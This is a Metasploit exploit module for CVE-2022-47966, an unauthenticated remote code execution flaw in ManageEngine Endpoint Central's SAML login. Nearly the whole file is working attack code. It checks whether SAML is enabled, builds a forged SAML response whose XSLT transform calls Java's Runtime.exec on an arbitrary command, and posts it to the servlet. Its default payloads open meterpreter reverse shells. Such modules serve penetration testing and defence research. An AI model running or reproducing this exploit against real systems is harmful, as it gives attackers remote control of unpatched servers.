# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine Endpoint Central Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10
and below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the Endpoint Central
SAML endpoint. Note that the target is only vulnerable if it is
configured with SAML-based SSO , and the service should be active.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente', # Based on the original code of the ServiceDesk Plus Metasploit module
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Added some small tweaks to the original code of Christophe to make it work for this target
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => [ 'win' ],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
]
],
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
])
end
def check_saml_enabled
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/SamlRequestServlet')
})
if res.nil?
print_error('No response from target.')
return false
end
# ManageEngine Endpoint Servers with SAML enabled respond with 302 and a HTTP header Location: containing the SAML request
if res && res.code == 302 && res.headers['Location'].include?('SAMLRequest=')
return true
else
return false
end
end
def check
# check if SAML-based SSO is enabled otherwise exploit will fail
# No additional fingerprint / banner information available to collect and determine version
return Exploit::CheckCode::Safe unless check_saml_enabled
CheckCode::Detected('SAML-based SSO is enabled.')
end
def encode_begin(real_payload, reqs)
super
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager(delay: datastore['DELAY'])
end
end
def execute_command(cmd, _opts = {})
if target['Type'] == :windows_dropper
cmd = "cmd /c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')
assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="#{assertion_id}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
EOS
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})
unless res&.code == 200
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
end
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
end
res
end
end
